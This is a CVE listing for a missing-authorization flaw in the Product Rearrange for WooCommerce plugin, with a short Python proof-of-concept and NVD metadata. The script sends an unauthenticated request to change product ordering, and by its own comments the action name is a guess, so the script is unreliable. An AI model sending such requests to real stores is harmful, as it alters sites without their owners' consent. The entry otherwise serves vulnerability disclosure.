CVE-2026-31921

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-31921 Checks for missing authorization in Product Rearrange for WooCommerce """ # The specific action name needs to be reverse-engineered from the plugin code # Assuming a common action name based on the plugin functionality endpoint = target_url.rstrip('/') + '/wp-admin/admin-ajax.php' payload = { 'action': 'products_rearrange_update', # Hypothetical action name 'product_id': '1', 'new_position': '999' } try: response = requests.post(endpoint, data=payload, timeout=10) # Analyze response to see if the action was performed without authentication if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] Potential vulnerability detected at {target_url}") print(f"[+] Response: {response.text[:100]}") else: print(f"[-] Vulnerability not detected or action name incorrect.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target URL check_vulnerability(target)

{"cve": {"id": "CVE-2026-31921", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:58.913", "lastModified": "2026-04-29T10:16:57.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Devteam HaywoodTech Product Rearrange for WooCommerce products-rearrange-woocommerce allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Product Rearrange for WooCommerce: from n/a through <= 1.2.2."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en Devteam HaywoodTech Product Rearrange for WooCommerce products-rearrange-woocommerce permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Product Rearrange for WooCommerce: desde n/a hasta &lt;= 1.2.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 4.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H", "baseScore": 8.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/products-rearrange-woocommerce/vulnerability/wordpress-product-rearrange-for-woocommerce-plugin-1-2-2-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}